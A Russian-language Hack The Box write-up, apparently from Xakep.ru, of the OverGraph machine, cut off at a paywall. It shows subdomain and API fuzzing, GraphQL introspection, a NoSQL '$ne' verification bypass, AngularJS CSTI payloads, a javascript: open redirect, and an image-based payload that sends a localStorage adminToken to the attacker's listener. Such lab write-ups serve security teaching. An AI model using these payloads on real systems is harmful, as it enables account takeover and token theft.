В этом рай­тапе мы с тобой про­ведем мно­жес­тво ска­ниро­ваний цели, что­бы опре­делить точ­ки вхо­да, порабо­таем с GraphQL, про­экс­плу­ати­руем цепоч­ку уяз­вимос­тей Open Redirect, Reflected XSS и CSTI для кра­жи админ­ско­го токена. Затем получим дос­туп к хос­ту, про­читав SSH ключ через SSRF в FFmpeg. Все это — в рам­ках про­хож­дения слож­ной машины OverGraph с пло­щад­ки Hack The Box.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.157 overgraph.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

От­кры­то два пор­та: 22 — служ­ба OpenSSH 8.2p1 и 80 — веб‑сер­вер Nginx 1.18.0. Nmap показал нам, что выпол­няет­ся редирект на адрес http://graph.htb. Тоже добав­ляем этот адрес в файл /etc/hosts.

10.10.11.157 overgraph.htb graph.htb
Главная страница http://graph.htb
Глав­ная стра­ница http://graph.htb

Сайт ока­зал­ся однос­тра­нич­ным, поэто­му нуж­но най­ти новые цели для тес­тирова­ния.

 

Сканирование веб-контента

Поп­робу­ем поис­кать скры­тые катало­ги и фай­лы при помощи ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.
ffuf -u 'http://graph.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt
Результат сканирования каталогов с помощью ffuf
Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

И не находим ничего инте­рес­ного, даже в фай­ле server-status. Поэто­му поп­робу­ем прос­каниро­вать под­домены, для чего сно­ва будем исполь­зовать ffuf. К парамет­рам добавим заголов­ки -H и --fs, это поможет отсе­ять стра­ницы по раз­меру.

ffuf -u 'http://graph.htb/' -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.graph.htb' --fs 178
Результат сканирования поддоменов с помощью ffuf
Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

И находим новый под­домен internal. Добав­ляем его в файл /etc/hosts.

10.10.11.157 overgraph.htb graph.htb internal.graph.htb

Но, открыв сайт в бра­узе­ре, сра­зу натыка­емся на фор­му авто­риза­ции.

Форма авторизации http://internal.graph.htb
Фор­ма авто­риза­ции http://internal.graph.htb

Так как всю работу про­водим через Burp, то обна­ружим в Burp History обра­щение еще к одно­му домену — internal-api.graph.htb.

Логи Burp History
Ло­ги Burp History

До­бав­ляем еще одну запись в файл /etc/hosts и затем откры­ваем стра­ницу /graphql.

10.10.11.157 overgraph.htb graph.htb internal.graph.htb internal-api.graph.htb
Главная страница сайта http://internal-api.graph.htb
Глав­ная стра­ница сай­та http://internal-api.graph.htb

На стра­нице исполь­зует­ся GraphQL. Это язык зап­росов, с помощью которо­го кли­ент­ские при­ложе­ния работа­ют с дан­ными. «Схе­мы» GraphQL поз­воля­ют орга­низо­вывать соз­дание, чте­ние, обновле­ние и уда­ление дан­ных в при­ложе­нии. Давай получим дан­ные __schema и отфиль­тру­ем наз­вания типов, это мож­но сде­лать, передав в парамет­ре query сле­дующий зап­рос:

{__schema{types{name,fields{name}}}}
Ответ сервера
От­вет сер­вера
Ответ сервера (продолжение)
От­вет сер­вера (про­дол­жение)

На этом пока все, но мы еще не ска­ниро­вали катало­ги на новом домене. Поп­робу­ем сде­лать это. Но, как толь­ко мы обра­тим­ся к любой стра­нице, получим ответ, что зап­росы GET не под­держи­вают­ся. Поэто­му будем ска­ниро­вать зап­росом POST. А так как на домене кру­тит­ся API, то и исполь­зовать будем соот­ветс­тву­ющий сло­варь.

ffuf -u 'http://internal-api.graph.htbFUZZ' -t 256 -X POST -w apiscan.txt
Результат сканирования API с помощью ffuf
Ре­зуль­тат ска­ниро­вания API с помощью ffuf

И находим три новые стра­ницы, с которы­ми нач­нем работу.

 

Точка входа

Итак, мы име­ем сле­дующие API:

  • register — для регис­тра­ции поль­зовате­ля;
  • verify — пред­положи­тель­но для про­вер­ки при регис­тра­ции;
  • code — пока непонят­но, но, ско­рее все­го, для про­вер­ки кода, отправ­ленно­го на email.

Я начал со стра­ницы /api/register. Переда­ем наибо­лее веро­ятные парамет­ры: имя поль­зовате­ля, пароль и адрес элек­трон­ной поч­ты.

{
"username":"ralf",
"email":"ralf@graph.htb",
"password":"ralf"
}
Попытка регистрации пользователя
По­пыт­ка регис­тра­ции поль­зовате­ля

Но в ответ нам говорят, что у нас невер­ный email или он не верифи­циро­ван. Это инте­рес­но, так как у нас оста­ется все­го две стра­ницы для регис­тра­ции. Видимо, стра­ница /api/code нуж­на для получе­ния кода. Отпра­вим туда свой email.

{
"email":"ralf@graph.htb"
}
Получение кода
По­луче­ние кода

И нам сооб­щают, что четыре циф­ры были отправ­лены на ука­зан­ный поч­товый ящик. По тес­товому сооб­щению на стра­нице /api/verify узна­ем, что вмес­те с поч­той нуж­но при­сылать и код.

Запрос к /api/verify
Зап­рос к /api/verify

Я поп­робовал переб­рать этот код с помощью Burp Intruder, бла­го ком­бинаций все­го 10 000. Но уже на одном из пер­вых зап­росов все лома­ется, так как мы пре­выси­ли количес­тво попыток!

Сообщение о превышении количества запросов
Со­обще­ние о пре­выше­нии количес­тва зап­росов

Я очень дол­го про­сидел на этом эта­пе — приш­лось даже про­сить под­сказ­ки у дру­зей. Мне посове­това­ли углу­бить­ся в механизм про­вер­ки кода. Тог­да, пот­ратив еще нем­ного вре­мени, я нашел NoSQL-инъ­екцию, которая поз­воля­ет верифи­циро­вать поч­ту, пре­дос­тавляя неп­равиль­ный код. В дан­ном зап­росе мы получим положи­тель­ный резуль­тат, если код не равен 0000.

{
"email":"ralf@graph.htb",
"code":{
"$ne":"0000"
}
}
Верификация почты
Ве­рифи­кация поч­ты

При­ходит под­твержде­ние того, что поч­та верифи­циро­вана. Пов­торим регис­тра­цию и получим сооб­щение, что пароль и его под­твержде­ние не сов­пада­ют.

Попытка регистрации пользователя
По­пыт­ка регис­тра­ции поль­зовате­ля

Тог­да я переп­робовал раз­ные име­на поля под­твержде­ния пароля и опре­делил, что в дан­ном слу­чае под­ходит confirmPassword.

Регистрация пользователя
Ре­гис­тра­ция поль­зовате­ля

И акка­унт соз­дан! Перей­дем к фор­ме авто­риза­ции на вто­ром домене и авто­ризу­емся.

Главная страница http://internal.graph.htb
Глав­ная стра­ница http://internal.graph.htb

А во вхо­дящих находим сооб­щение от поль­зовате­ля Sally.

Входящие сообщения
Вхо­дящие сооб­щения

Нас про­сят прис­лать ссыл­ку. Поп­робу­ем открыть локаль­ный сер­вер и ски­нуть ссыл­ку на него. В ито­ге при­ходит зап­рос.

Логи веб-сервера Python 3
Ло­ги веб‑сер­вера Python 3

Да­вай пос­мотрим, как это мож­но исполь­зовать.

 

Точка опоры

Ес­ли еще раз взгля­нуть на стра­ницу, мож­но заметить над меню над­пись null null. В исходном коде есть отсылка к нашему поль­зовате­лю. А в локаль­ном хра­нили­ще бра­узе­ра (F12 → Application) най­дем запись, что это firstname и lastname.

Исходный код страницы
Ис­ходный код стра­ницы
Локальное хранилище браузера
Ло­каль­ное хра­нили­ще бра­узе­ра

Пе­рей­дем в нас­трой­ки про­филя и уви­дим то же самое, толь­ко с воз­можностью изме­нить эти зна­чения.

Страница Profile
Стра­ница Profile
 

CSTI

Над­пись null null натол­кну­ла меня на мысль об исполь­зовании шаб­лонов. Давай про­ведем базовый тест.

Новые значения имени пользователя
Но­вые зна­чения име­ни поль­зовате­ля
Отображение имени пользователя
Отоб­ражение име­ни поль­зовате­ля

Как мож­но уви­деть, вмес­то вве­ден­ной стро­ки получа­ем резуль­таты выраже­ний, а зна­чит, есть уяз­вимость в шаб­лонах! Вот толь­ко в локаль­ном хра­нили­ще эти зна­чения хра­нят­ся, как и вво­дились. Зна­чит, шаб­лон работа­ет на кли­ент­ской сто­роне, а это уже путь для CSTI — инъ­екции шаб­лонов на сто­роне кли­ента.

Локальное хранилище браузера
Ло­каль­ное хра­нили­ще бра­узе­ра

Так­же я обра­тил вни­мание на параметр admin со зна­чени­ем false. Я изме­нил на true и перезаг­рузил стра­ницу. В меню появи­лась гра­фа Upload.

Измененное меню
Из­менен­ное меню

Толь­ко вот фор­ма заг­рузки не дает заг­рузить файл. Если вер­немся к нашей схе­ме GraphQL, то можем пос­мотреть на необ­ходимые парамет­ры, к при­меру adminToken.

Параметры из схемы GraphQL
Па­рамет­ры из схе­мы GraphQL

Та­ким обра­зом, нам нужен adminToken поль­зовате­ля Sally. Но получить его неп­росто. Тут появил­ся сле­дующий план: если зас­тавим целево­го поль­зовате­ля выпол­нить зап­рос на сме­ну име­ни (по ссыл­кам же он перехо­дит!), то в качес­тве нового име­ни уста­новим наг­рузку CSTI, переда­ющую нам adminToken. В исходни­ках видим исполь­зование AngularJS.

Исходный код страницы
Ис­ходный код стра­ницы

AngularJS — это популяр­ная биб­лиоте­ка JavaScript, которая ска­ниру­ет HTML на пред­мет тегов с атри­бутом ng-app (дирек­тива AngularJS). Ког­да дирек­тива добав­ляет­ся в тег, появ­ляет­ся воз­можность выпол­нять выраже­ния JavaScript в двой­ных фигур­ных скоб­ках.

Уяз­вимость Template Injection воз­ника­ет, ког­да при­ложе­ние, исполь­зуя какой‑нибудь шаб­лониза­тор, динами­чес­ки внед­ряет поль­зователь­ский ввод в веб‑стра­ницу. Ког­да стра­ница отоб­ража­ется, фрей­мворк ищет в стра­нице шаб­лонное выраже­ние и выпол­няет его. Основное отли­чие CSTI от SSTI зак­люча­ется в том, что при CSTI мы можем добить­ся лишь выпол­нения про­изволь­ного кода на JavaScript. Две самые популяр­ные наг­рузки для CSTI в AngularJS:

{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
Новое имя пользователя
Но­вое имя поль­зовате­ля

Об­новля­ем стра­ницу и пер­вым делом видим окош­ко алер­та.

Вызов alert(1) при загрузке страницы
Вы­зов alert(1) при заг­рузке стра­ницы

А теперь поп­робу­ем эксфиль­тро­вать токен, для чего соз­дадим у себя в хра­нили­ще тес­товый.

Локальное хранилище браузера
Ло­каль­ное хра­нили­ще бра­узе­ра

В качес­тве наг­рузки будем исполь­зовать зна­мени­тый сти­лер, который похища­ет дан­ные через кар­тинку, а дос­туп к хра­нили­щу получим через window.localStorage.

{{$on.constructor('new Image().src="http://10.10.14.123:8000/?a="+window.localStorage.getItem("adminToken");')()}}

Об­новля­ем стра­ницу и в логах локаль­ного веб‑сер­вера находим зна­чение тес­тового токена.

Логи веб-сервера
Ло­ги веб‑сер­вера

Наг­рузка для эксфиль­тра­ции готова, теперь раз­берем­ся, как под­сунуть поль­зовате­лю наш код.

 

Open Redirect

Я сно­ва прос­мотрел все сай­ты и на самом глав­ном домене нашел что‑то вро­де редирек­та.

Код главной страницы http://graph.htb
Код глав­ной стра­ницы http://graph.htb

Ес­ли сущес­тву­ет GET-параметр redirect, то фун­кция window.location.replace уста­новит в качес­тве содер­жимого текущей стра­ницы код, взя­тый по ссыл­ке из redirect. Бла­го мы можем вста­вить вмес­то URL код на JavaScript:

http://graph.htb/?redirect=javascript:alert(1)
Выполнение кода через JavaScript URL
Вы­пол­нение кода через JavaScript URL

Ос­талось разоб­рать­ся с дан­ными, которые отправ­ляют­ся для изме­нения име­ни поль­зовате­ля.

 

GraphQL

В Burp History най­дем зап­рос, которым мы изме­нили собс­твен­ное имя.

Запрос на изменение профиля
Зап­рос на изме­нение про­филя

Один из парамет­ров — id поль­зовате­ля, а это нем­ного усложня­ет задачу. Сно­ва вер­немся к GraphQL и пос­мотрим, какой из типов содер­жит поле Assignedto.

Тип task
Тип task

Нас инте­ресу­ет тип task, который мы можем получить зап­росом tasks.

Тип Query
Тип Query

Та­ким обра­зом, нам нуж­но выпол­нить зап­рос tasks с парамет­ром username, в котором мы переда­дим имя поль­зовате­ля Sally. Нас инте­ресу­ет толь­ко поле Assignedto.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии